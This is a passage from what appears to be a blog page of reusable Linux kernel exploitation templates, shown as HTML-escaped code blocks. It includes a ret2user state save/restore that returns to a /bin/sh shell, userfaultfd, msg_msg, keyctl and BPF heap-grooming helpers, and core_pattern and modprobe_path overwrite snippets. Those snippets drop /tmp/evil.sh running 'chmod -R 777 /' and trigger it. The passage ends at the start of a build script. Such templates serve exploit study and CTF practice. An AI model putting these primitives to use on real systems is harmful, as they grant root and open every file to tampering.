  // get_enter_to_continue(&amp;#34;Press enter to exit...&amp;#34;);
  exit(-1);
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;218539746&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;218539746&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;save_restore_state.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;stdint.h&amp;gt;

uint64_t user_cs, user_ss, user_sp, user_rflags;
static void save_state() {
  asm(&amp;#34;mov %[u_cs], cs;\n&amp;#34;
      &amp;#34;mov %[u_ss], ss;\n&amp;#34;
      &amp;#34;mov %[u_sp], rsp;\n&amp;#34;
      &amp;#34;pushf;\n&amp;#34;
      &amp;#34;pop %[u_rflags];\n&amp;#34;
      : [u_cs] &amp;#34;=r&amp;#34;(user_cs), [u_ss] &amp;#34;=r&amp;#34;(user_ss), [u_sp] &amp;#34;=r&amp;#34;(user_sp),
        [u_rflags] &amp;#34;=r&amp;#34;(user_rflags)::&amp;#34;memory&amp;#34;);
  printf(
      &amp;#34;[*] user_cs: 0x%lx, user_ss: 0x%lx, user_sp: 0x%lx, user_rflags: &amp;#34;
      &amp;#34;0x%lx\n&amp;#34;,
      user_cs, user_ss, user_sp, user_rflags);
}

static void get_shell() {
  puts(&amp;#34;[+] Get shell!&amp;#34;);
  char* argv[] = {&amp;#34;/bin/sh&amp;#34;, NULL};
  char* envp[] = {NULL};
  execve(&amp;#34;/bin/sh&amp;#34;, argv, envp);
}

static void restore_state() {
  asm volatile(
      &amp;#34;swapgs;\n&amp;#34;
      &amp;#34;mov qword ptr [rsp+0x20], %[u_ss];\n&amp;#34;
      &amp;#34;mov qword ptr [rsp+0x18], %[u_sp];\n&amp;#34;
      &amp;#34;mov qword ptr [rsp+0x10], %[u_rflags];\n&amp;#34;
      &amp;#34;mov qword ptr [rsp+0x08], %[u_cs];\n&amp;#34;
      &amp;#34;mov qword ptr [rsp+0x00], %[u_ret];\n&amp;#34;
      &amp;#34;iretq;\n&amp;#34; ::[u_cs] &amp;#34;r&amp;#34;(user_cs),
      [u_ss] &amp;#34;r&amp;#34;(user_ss), [u_sp] &amp;#34;r&amp;#34;(user_sp), [u_rflags] &amp;#34;r&amp;#34;(user_rflags),
      [u_ret] &amp;#34;r&amp;#34;(get_shell));
}

// For iretq
// *rop_buf++ = (uint64_t)(get_shell); // user_rip
// *rop_buf++ = (uint64_t)(user_cs);
// *rop_buf++ = (uint64_t)(user_rflags);
// *rop_buf++ = (uint64_t)(user_sp);
// *rop_buf++ = (uint64_t)(user_ss);&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;493872651&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;493872651&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;cpu.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#define _GNU_SOURCE
#include &amp;lt;sched.h&amp;gt;

void pin_to_core(size_t core);

void pin_to_core(size_t core) {
  cpu_set_t target_cpu;

  CPU_ZERO(&amp;amp;target_cpu);
  CPU_SET(core, &amp;amp;target_cpu);

  if (sched_setaffinity(0, sizeof(cpu_set_t), &amp;amp;target_cpu)) {
    fatal(&amp;#34;sched_setaffinity&amp;#34;);
  }
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;162748395&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;162748395&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;user_key.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;linux/keyctl.h&amp;gt;
#include &amp;lt;stdarg.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;sys/syscall.h&amp;gt;
#include &amp;lt;syscall.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

/**
 * type must be &amp;#34;keyring&amp;#34;, &amp;#34;user&amp;#34;, &amp;#34;logon&amp;#34;, or &amp;#34;big_key&amp;#34;
 */
static int32_t sys_add_key(const char *type, const char *desc,
                           const void *payload, size_t plen, int ringid);
static int32_t sys_keyctl(int cmd, ...);
static int32_t sys_revoke_key(int32_t key);
static int32_t sys_update_key(int32_t key, void *payload, size_t size);
static int32_t sys_read_key(int32_t key, char *buf, size_t size);

static int32_t sys_add_key(const char *type, const char *desc,
                           const void *payload, size_t plen, int ringid) {
  return syscall(__NR_add_key, type, desc, payload, plen, ringid);
}
static int32_t sys_keyctl(int cmd, ...) {
  va_list ap;
  long arg2, arg3, arg4, arg5;
  va_start(ap, cmd);
  arg2 = va_arg(ap, long);
  arg3 = va_arg(ap, long);
  arg4 = va_arg(ap, long);
  arg5 = va_arg(ap, long);
  va_end(ap);
  return syscall(__NR_keyctl, cmd, arg2, arg3, arg4, arg5);
}
static int32_t sys_revoke_key(int32_t key) {
  return sys_keyctl(KEYCTL_REVOKE, key);
}
static int32_t sys_read_key(int32_t key, char *buf, size_t size) {
  return sys_keyctl(KEYCTL_READ, key, buf, size);
}
static int32_t sys_update_key(int32_t key, void *payload, size_t size) {
  return sys_keyctl(KEYCTL_UPDATE, key, payload, size);
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;561873924&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;561873924&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;msgmsg.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#define _GNU_SOURCE
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/ipc.h&amp;gt;
#include &amp;lt;sys/msg.h&amp;gt;
#include &amp;lt;sys/types.h&amp;gt;

int send_msg(int msgqid, char* data, size_t size, long mtype, long mflag);
int recv_msg(int msgqid, char* data, size_t size, long mtype, long mflag);

int send_msg(int msgqid, char* data, size_t size, long mtype, long mflag) {
  struct msgbuf* m = malloc(sizeof(long) + size);
  int ret = -1;
  memcpy(m-&amp;gt;mtext, data, size);
  m-&amp;gt;mtype = mtype;

  ret = msgsnd(msgqid, m, size, mflag);

  free(m);
  return ret;
}
int recv_msg(int msgqid, char* data, size_t size, long mtype, long mflag) {
  struct msgbuf* m = malloc(sizeof(long) + size);
  int ret = -1;
  m-&amp;gt;mtype = mtype;

  ret = msgrcv(msgqid, m, size, mtype, mflag);
  memcpy(data, m-&amp;gt;mtext, size);

  free(m);
  return ret;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;718324965&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;718324965&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;uffd.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;// Check /proc/sys/vm/unprivileged_userfaultfd

#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;linux/userfaultfd.h&amp;gt;
#include &amp;lt;poll.h&amp;gt;
#include &amp;lt;pthread.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;sys/mman.h&amp;gt;
#include &amp;lt;sys/syscall.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

int register_uffd(void* addr, size_t len, void* (*handler)(void*)) {
  struct uffdio_api uffdio_api;
  struct uffdio_register uffdio_register;
  pthread_t th;
  int uffd = syscall(__NR_userfaultfd, __O_CLOEXEC | O_NONBLOCK);
  if (uffd &amp;lt; 0) {
    fatal(&amp;#34;syscall(__NR_userfaultfd)&amp;#34;);
  }

  uffdio_api.api = UFFD_API;
  uffdio_api.features = 0;
  if (ioctl(uffd, UFFDIO_API, &amp;amp;uffdio_api) &amp;lt; 0) {
    fatal(&amp;#34;ioctl(UFFDIO_API)&amp;#34;);
  }

  uffdio_register.range.start = (uint64_t)addr;
  uffdio_register.range.len = len;
  uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
  if (ioctl(uffd, UFFDIO_REGISTER, &amp;amp;uffdio_register) &amp;lt; 0) {
    fatal(&amp;#34;ioctl(UFFDIO_REGISTER)&amp;#34;);
  }

  if (pthread_create(&amp;amp;th, NULL, handler, (void*)(uint64_t)uffd) &amp;lt; 0) {
    fatal(&amp;#34;pthread_create&amp;#34;);
  }

  return uffd;
}

static void* userfault_template_handler(void* args) {
  if (sched_setaffinity(0, sizeof(cpu_set_t), &amp;amp;target_cpu)) {
    fatal(&amp;#34;sched_setaffinity&amp;#34;);
  }

  int uffd = (int)(long)args;
  char* page = (char*)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                           MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (page == MAP_FAILED) {
    fatal(&amp;#34;userfault_template_handler: mmap&amp;#34;);
  }

  static struct uffd_msg msg;
  struct uffdio_copy copy;
  struct pollfd pollfd;

  puts(&amp;#34;[*] userfault_template_handler: waiting for page fault...&amp;#34;);
  pollfd.fd = uffd;
  pollfd.events = POLLIN;
  while (poll(&amp;amp;pollfd, 1, -1) &amp;gt; 0) {
    if (pollfd.revents &amp;amp; POLLERR || pollfd.revents &amp;amp; POLLHUP) {
      fatal(&amp;#34;userfault_template_handler: poll&amp;#34;);
    }

    if (read(uffd, &amp;amp;msg, sizeof(msg)) &amp;lt;= 0) {
      fatal(&amp;#34;userfault_template_handler: read(uffd)&amp;#34;);
    }
    if (msg.event != UFFD_EVENT_PAGEFAULT) {
      fatal(&amp;#34;userfault_template_handler: msg.event != UFFD_EVENT_PAGEFAULT&amp;#34;);
    }

    printf(&amp;#34;[*] userfault_template_handler: addr=0x%llx, flag=0x%llx\n&amp;#34;,
           msg.arg.pagefault.address, msg.arg.pagefault.flags);

    // Main Routine
    copy.src = (uint64_t)page;  // data of page will be data of faulted page

    copy.dst = (uint64_t)msg.arg.pagefault.address;
    copy.len = 0x1000;
    copy.mode = 0;
    copy.copy = 0;
    if (ioctl(uffd, UFFDIO_COPY, &amp;amp;copy) &amp;lt; 0) {
      fatal(&amp;#34;userfault_template_handler: ioctl(UFFDIO_COPY)&amp;#34;);
    }
  }

  munmap(page, 0x1000);
  return NULL;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;126358749&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;126358749&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;bpf.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;// Check /proc/sys/kernel/unprivileged_bpf_disabled

#include &amp;lt;asm-generic/socket.h&amp;gt;
#include &amp;lt;linux/bpf.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;sys/socket.h&amp;gt;
#include &amp;lt;sys/syscall.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#include &amp;#34;bpf_insn.h&amp;#34;

int bpf(int cmd, union bpf_attr* attrs) {
  return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs));
}

int bpf_map_create(int val_size, int max_entries) {
  union bpf_attr attr = {
      .map_type = BPF_MAP_TYPE_ARRAY,
      .key_size = sizeof(int),
      .value_size = val_size,
      .max_entries = max_entries,
  };

  int map_fd = bpf(BPF_MAP_CREATE, &amp;amp;attr);
  if (map_fd &amp;lt; 0) {
    fatal(&amp;#34;bpf(BPF_MAP_CREATE)&amp;#34;);
  }

  return map_fd;
}
int bpf_map_update(int map_fd, int key, void* pval) {
  union bpf_attr attr = {
      .map_fd = map_fd,
      .key = (uint64_t)&amp;amp;key,
      .value = (uint64_t)pval,
      .flags = BPF_ANY,
  };

  int res = bpf(BPF_MAP_UPDATE_ELEM, &amp;amp;attr);
  if (res &amp;lt; 0) {
    fatal(&amp;#34;bpf(BPF_MAP_UPDATE_ELEM)&amp;#34;);
  }

  return res;
}
int bpf_map_lookup(int map_fd, int key, void* pval) {
  union bpf_attr attr = {
      .map_fd = map_fd,
      .key = (uint64_t)&amp;amp;key,
      .value = (uint64_t)pval,
      .flags = BPF_ANY,
  };

  return bpf(BPF_MAP_LOOKUP_ELEM, &amp;amp;attr);
}

void bpf_template() {
  char verifier_log[0x10000];

  uint64_t val = 0;
  int mapfd = bpf_map_create(sizeof(uint64_t), 1);
  bpf_map_update(mapfd, 0, &amp;amp;val);

  struct bpf_insn insns[] = {
      // BPF_REG_ARG1 == struct __sk_buff

      // Instructions

      BPF_EXIT_INSN(),
  };

  union bpf_attr prog_attr = {
      .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
      .insn_cnt = sizeof(insns) / sizeof(insns[0]),
      .insns = (uint64_t)insns,
      .license = (uint64_t)&amp;#34;GPL v2&amp;#34;,
      .log_level = 2,
      .log_size = sizeof(verifier_log),
      .log_buf = (uint64_t)verifier_log,
  };

  int progfd = bpf(BPF_PROG_LOAD, &amp;amp;prog_attr);
  if (progfd &amp;lt; 0) {
    puts(&amp;#34;============[failed reason]============&amp;#34;);
    printf(&amp;#34;%s\n&amp;#34;, verifier_log);
    fatal(&amp;#34;bpf(BPF_PROG_LOAD)&amp;#34;);
  }

  int socks[2];
  if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) {
    fatal(&amp;#34;socketpair&amp;#34;);
  }
  if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &amp;amp;progfd, sizeof(int))) {
    fatal(&amp;#34;setsockopt&amp;#34;);
  }

  // Trigger the BPF program
  write(socks[1], &amp;#34;UNIGURI&amp;#34;, 7);

  bpf_map_lookup(mapfd, 0, &amp;amp;val);

  close(socks[0]);
  close(socks[1]);
  close(progfd);
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;176932458&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;176932458&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;bpf_insn.h&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;/* SPDX-License-Identifier: (GPL-2.0-only OR BSD-2-Clause) */
/* eBPF instruction mini library */
#ifndef __BPF_INSN_H
#define __BPF_INSN_H

struct bpf_insn;

/* ArgX, context and stack frame pointer register positions. Note,
 * Arg1, Arg2, Arg3, etc are used as argument mappings of function
 * calls in BPF_CALL instruction.
 */
#define BPF_REG_ARG1 BPF_REG_1
#define BPF_REG_ARG2 BPF_REG_2
#define BPF_REG_ARG3 BPF_REG_3
#define BPF_REG_ARG4 BPF_REG_4
#define BPF_REG_ARG5 BPF_REG_5
#define BPF_REG_CTX BPF_REG_6
#define BPF_REG_FP BPF_REG_10

/* Additional register mappings for converted user programs. */
#define BPF_REG_A BPF_REG_0
#define BPF_REG_X BPF_REG_7
#define BPF_REG_TMP BPF_REG_8

/* BPF program can access up to 512 bytes of stack space. */
#define MAX_BPF_STACK 512

/* ALU ops on registers, bpf_add|sub|...: dst_reg += src_reg */

#define BPF_ALU64_REG(OP, DST, SRC)                          \
  ((struct bpf_insn){.code = BPF_ALU64 | BPF_OP(OP) | BPF_X, \
                     .dst_reg = DST,                         \
                     .src_reg = SRC,                         \
                     .off = 0,                               \
                     .imm = 0})

#define BPF_ALU32_REG(OP, DST, SRC)                        \
  ((struct bpf_insn){.code = BPF_ALU | BPF_OP(OP) | BPF_X, \
                     .dst_reg = DST,                       \
                     .src_reg = SRC,                       \
                     .off = 0,                             \
                     .imm = 0})

/* ALU ops on immediates, bpf_add|sub|...: dst_reg += imm32 */

#define BPF_ALU64_IMM(OP, DST, IMM)                          \
  ((struct bpf_insn){.code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \
                     .dst_reg = DST,                         \
                     .src_reg = 0,                           \
                     .off = 0,                               \
                     .imm = IMM})

#define BPF_ALU32_IMM(OP, DST, IMM)                        \
  ((struct bpf_insn){.code = BPF_ALU | BPF_OP(OP) | BPF_K, \
                     .dst_reg = DST,                       \
                     .src_reg = 0,                         \
                     .off = 0,                             \
                     .imm = IMM})

/* Endianess conversion, cpu_to_{l,b}e(), {l,b}e_to_cpu() */

#define BPF_ENDIAN(TYPE, DST, LEN)                              \
  ((struct bpf_insn){.code = BPF_ALU | BPF_END | BPF_SRC(TYPE), \
                     .dst_reg = DST,                            \
                     .src_reg = 0,                              \
                     .off = 0,                                  \
                     .imm = LEN})

/* Short form of mov, dst_reg = src_reg */

#define BPF_MOV64_REG(DST, SRC)                           \
  ((struct bpf_insn){.code = BPF_ALU64 | BPF_MOV | BPF_X, \
                     .dst_reg = DST,                      \
                     .src_reg = SRC,                      \
                     .off = 0,                            \
                     .imm = 0})

#define BPF_MOV32_REG(DST, SRC)                         \
  ((struct bpf_insn){.code = BPF_ALU | BPF_MOV | BPF_X, \
                     .dst_reg = DST,                    \
                     .src_reg = SRC,                    \
                     .off = 0,                          \
                     .imm = 0})

/* Short form of mov, dst_reg = imm32 */

#define BPF_MOV64_IMM(DST, IMM)                           \
  ((struct bpf_insn){.code = BPF_ALU64 | BPF_MOV | BPF_K, \
                     .dst_reg = DST,                      \
                     .src_reg = 0,                        \
                     .off = 0,                            \
                     .imm = IMM})

#define BPF_MOV32_IMM(DST, IMM)                         \
  ((struct bpf_insn){.code = BPF_ALU | BPF_MOV | BPF_K, \
                     .dst_reg = DST,                    \
                     .src_reg = 0,                      \
                     .off = 0,                          \
                     .imm = IMM})

/* BPF_LD_IMM64 macro encodes single &amp;#39;load 64-bit immediate&amp;#39; insn */
#define BPF_LD_IMM64(DST, IMM) BPF_LD_IMM64_RAW(DST, 0, IMM)

#define BPF_LD_IMM64_RAW(DST, SRC, IMM)                           \
  ((struct bpf_insn){.code = BPF_LD | BPF_DW | BPF_IMM,           \
                     .dst_reg = DST,                              \
                     .src_reg = SRC,                              \
                     .off = 0,                                    \
                     .imm = (__u32)(IMM)}),                       \
      ((struct bpf_insn){.code = 0, /* zero is reserved opcode */ \
                         .dst_reg = 0,                            \
                         .src_reg = 0,                            \
                         .off = 0,                                \
                         .imm = ((__u64)(IMM)) &amp;gt;&amp;gt; 32})

#ifndef BPF_PSEUDO_MAP_FD
#define BPF_PSEUDO_MAP_FD 1
#endif

/* pseudo BPF_LD_IMM64 insn used to refer to process-local map_fd */
#define BPF_LD_MAP_FD(DST, MAP_FD) \
  BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)

/* Direct packet access, R0 = *(uint *) (skb-&amp;gt;data + imm32) */

#define BPF_LD_ABS(SIZE, IMM)                                   \
  ((struct bpf_insn){.code = BPF_LD | BPF_SIZE(SIZE) | BPF_ABS, \
                     .dst_reg = 0,                              \
                     .src_reg = 0,                              \
                     .off = 0,                                  \
                     .imm = IMM})

/* Memory load, dst_reg = *(uint *) (src_reg + off16) */

#define BPF_LDX_MEM(SIZE, DST, SRC, OFF)                         \
  ((struct bpf_insn){.code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \
                     .dst_reg = DST,                             \
                     .src_reg = SRC,                             \
                     .off = OFF,                                 \
                     .imm = 0})

/* Memory store, *(uint *) (dst_reg + off16) = src_reg */

#define BPF_STX_MEM(SIZE, DST, SRC, OFF)                         \
  ((struct bpf_insn){.code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \
                     .dst_reg = DST,                             \
                     .src_reg = SRC,                             \
                     .off = OFF,                                 \
                     .imm = 0})

/* Atomic memory add, *(uint *)(dst_reg + off16) += src_reg */

#define BPF_STX_XADD(SIZE, DST, SRC, OFF)                         \
  ((struct bpf_insn){.code = BPF_STX | BPF_SIZE(SIZE) | BPF_XADD, \
                     .dst_reg = DST,                              \
                     .src_reg = SRC,                              \
                     .off = OFF,                                  \
                     .imm = 0})

/* Memory store, *(uint *) (dst_reg + off16) = imm32 */

#define BPF_ST_MEM(SIZE, DST, OFF, IMM)                         \
  ((struct bpf_insn){.code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \
                     .dst_reg = DST,                            \
                     .src_reg = 0,                              \
                     .off = OFF,                                \
                     .imm = IMM})

/*
 * Atomic operations:
 *
 *   BPF_ADD                  *(uint *) (dst_reg + off16) += src_reg
 *   BPF_AND                  *(uint *) (dst_reg + off16) &amp;amp;= src_reg
 *   BPF_OR                   *(uint *) (dst_reg + off16) |= src_reg
 *   BPF_XOR                  *(uint *) (dst_reg + off16) ^= src_reg
 *   BPF_ADD | BPF_FETCH      src_reg = atomic_fetch_add(dst_reg + off16,
 * src_reg); BPF_AND | BPF_FETCH      src_reg = atomic_fetch_and(dst_reg +
 * off16, src_reg); BPF_OR | BPF_FETCH       src_reg = atomic_fetch_or(dst_reg +
 * off16, src_reg); BPF_XOR | BPF_FETCH      src_reg = atomic_fetch_xor(dst_reg
 * + off16, src_reg); BPF_XCHG                 src_reg = atomic_xchg(dst_reg +
 * off16, src_reg) BPF_CMPXCHG              r0 = atomic_cmpxchg(dst_reg + off16,
 * r0, src_reg)
 */

#define BPF_ATOMIC_OP(SIZE, OP, DST, SRC, OFF)                      \
  ((struct bpf_insn){.code = BPF_STX | BPF_SIZE(SIZE) | BPF_ATOMIC, \
                     .dst_reg = DST,                                \
                     .src_reg = SRC,                                \
                     .off = OFF,                                    \
                     .imm = OP})

/* Conditional jumps against registers, if (dst_reg &amp;#39;op&amp;#39; src_reg) goto pc +
 * off16 */

#define BPF_JMP_REG(OP, DST, SRC, OFF)                     \
  ((struct bpf_insn){.code = BPF_JMP | BPF_OP(OP) | BPF_X, \
                     .dst_reg = DST,                       \
                     .src_reg = SRC,                       \
                     .off = OFF,                           \
                     .imm = 0})

/* Like BPF_JMP_REG, but with 32-bit wide operands for comparison. */

#define BPF_JMP32_REG(OP, DST, SRC, OFF)                     \
  ((struct bpf_insn){.code = BPF_JMP32 | BPF_OP(OP) | BPF_X, \
                     .dst_reg = DST,                         \
                     .src_reg = SRC,                         \
                     .off = OFF,                             \
                     .imm = 0})

/* Conditional jumps against immediates, if (dst_reg &amp;#39;op&amp;#39; imm32) goto pc + off16
 */

#define BPF_JMP_IMM(OP, DST, IMM, OFF)                     \
  ((struct bpf_insn){.code = BPF_JMP | BPF_OP(OP) | BPF_K, \
                     .dst_reg = DST,                       \
                     .src_reg = 0,                         \
                     .off = OFF,                           \
                     .imm = IMM})

/* Like BPF_JMP_IMM, but with 32-bit wide operands for comparison. */

#define BPF_JMP32_IMM(OP, DST, IMM, OFF)                     \
  ((struct bpf_insn){.code = BPF_JMP32 | BPF_OP(OP) | BPF_K, \
                     .dst_reg = DST,                         \
                     .src_reg = 0,                           \
                     .off = OFF,                             \
                     .imm = IMM})

/* Function call */

#define BPF_EMIT_CALL(FUNC)                      \
  ((struct bpf_insn){.code = BPF_JMP | BPF_CALL, \
                     .dst_reg = 0,               \
                     .src_reg = 0,               \
                     .off = 0,                   \
                     .imm = (FUNC)})

/* Raw code statement block */

#define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \
  ((struct bpf_insn){                          \
      .code = CODE, .dst_reg = DST, .src_reg = SRC, .off = OFF, .imm = IMM})

/* Program exit */

#define BPF_EXIT_INSN()                          \
  ((struct bpf_insn){.code = BPF_JMP | BPF_EXIT, \
                     .dst_reg = 0,               \
                     .src_reg = 0,               \
                     .off = 0,                   \
                     .imm = 0})

#endif&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;473592816&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;473592816&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;core_pattern.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;stdlib.h&amp;gt;

const char* new_core_pattern = &amp;#34;|/tmp/evil.sh&amp;#34;;

system(&amp;#34;echo -e &amp;#39;#!/bin/sh\nchmod -R 777 /&amp;#39; &amp;gt; /tmp/evil.sh&amp;#34;);
system(&amp;#34;chmod +x /tmp/evil.sh&amp;#34;);
system(&amp;#34;ulimit -c unlimited&amp;#34;);

uint64_t* evil_ptr = (uint64_t*)0xdeadbeefcafebebe;
*evil_ptr = 0xdeadbeefcafebebe;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;951762348&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;951762348&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;modprobe.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;stdlib.h&amp;gt;

const char* new_modprobe = &amp;#34;/tmp/evil.sh&amp;#34;;

system(&amp;#34;echo -e &amp;#39;#!/bin/sh\nchmod -R 777 /&amp;#39; &amp;gt; /tmp/evil.sh&amp;#34;);
system(&amp;#34;chmod +x /tmp/evil.sh&amp;#34;);
system(&amp;#34;echo -e &amp;#39;\xde\xad\xbe\xef&amp;#39; &amp;gt; /tmp/pwn&amp;#34;);
system(&amp;#34;chmod +x /tmp/pwn&amp;#34;);
system(&amp;#34;/tmp/pwn&amp;#34;);&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;689753214&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;689753214&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;creds.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;sys/prctl.h&amp;gt;

const char new_process_name[] = &amp;#34;uniguri&amp;#34;;

if (prctl(PR_SET_NAME, new_process_name) == -1) {
  printf(&amp;#34;[-] Failed to set process name\n&amp;#34;);
  return -1;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h2 id=&#34;scripts&#34;&gt;Scripts&lt;/h2&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;748165932&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;748165932&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;bash&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;build_exploit.sh&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-bash&#34; &gt;
      &lt;code&gt;#!/bin/sh

# Check if an argument is provided
if [ $# -eq 0 ]; then
